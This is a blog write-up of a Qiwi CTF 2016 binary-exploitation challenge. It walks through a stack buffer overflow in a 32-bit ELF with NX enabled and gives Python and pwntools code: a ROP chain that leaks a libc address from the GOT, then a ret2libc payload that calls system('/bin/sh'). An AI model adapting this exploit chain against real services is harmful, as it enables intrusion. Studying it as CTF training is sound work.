Qiwi CTF 2016 Writeup

Pwn 200_3

Posted by André on November 22, 2016

I solved this exploitation challenge while playing Qiwi CTF last week. My team finished the CTF in 22/234.

This challenge was quite interesting because we need to create a leak to solve it. We have a ELF 32-bit LSB executable for Linux, task_3, and the libc.so.6 of the server. I translated the binary to the following pseudocode:

vulnerable_________() {
  char buf;
  return read(0, &buf, 0x100u);

int ________________() {
  __gid_t gid = getegid();
  return setresgid(gid, gid, gid);

int main() {
  return write(1, "Hello, World\n", 0xD);

The program is reading 0x100 bytes into buf, so we might have a buffer overflow (stack based) here. However, this is not so easy, NX is enabled, which means that we can't execute shellcode in the stack:

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

So, we need to use ROP (Return-oriented programming) to get control of the program execution flow. But... we have only a few gadgets and we don't have any syscall instruction available: int 0x80 in the x86 architecture (syscall in x64). You can use the ROPGadget tool to get these gadgets. However we have the target libc.so! Our exploit needs to somehow leak a libc address and then execute a shell, using the ret2libc attack.

I decided to leak the [email protected] address from the GOT table, which is at 0x804a00c. Then, using this address, I created a leak by jumping into 0x80484f0:

0x80484f0 <main+42>:	call   0x80483a0 <[email protected]>

This is going to call the write function, but we need to pass the arguments in the stack: 0x1 (stdout code), 0x804a00c ([email protected]) and the length of the address we are printing to the stdout, which is 4 bytes (32 bits). I ended up with this ROP chain:

import struct

p32 = lambda x: struct.pack("<I", x)

payload = "A"*140
payload += p32(0x80484f0)  #call write
payload += p32(0x1)        #stdout
payload += p32(0x804a00c)  #[email protected]
payload += p32(0x4)        #length

Perfect! Now we have the address of __libc_start_main if we send this input to the program. I tried to run this leak exploit against the server multiple times and noticed the address was always the same, which means that ALSR was disabled in the server. Now, knowing the __libc_start_main address we can calculate the offsets of system() and the string "/bin/sh" in the libc.so.6.

I created another small ROP chain that returns to system() and sets a pointer to "/bin/sh" in the stack. This was my final exploit:

from pwn import *
import struct

r = remote("", 4000)

libcmainAddr = 0xf7e3e970             #leak from stage1
systemAddr = libcmainAddr+150128
binshAddr = libcmainAddr+1334241

payload = "A"*140
payload += p32(systemAddr)
payload += p32(0xdeadbeef)
payload += p32(binshAddr)


Pwned 🙂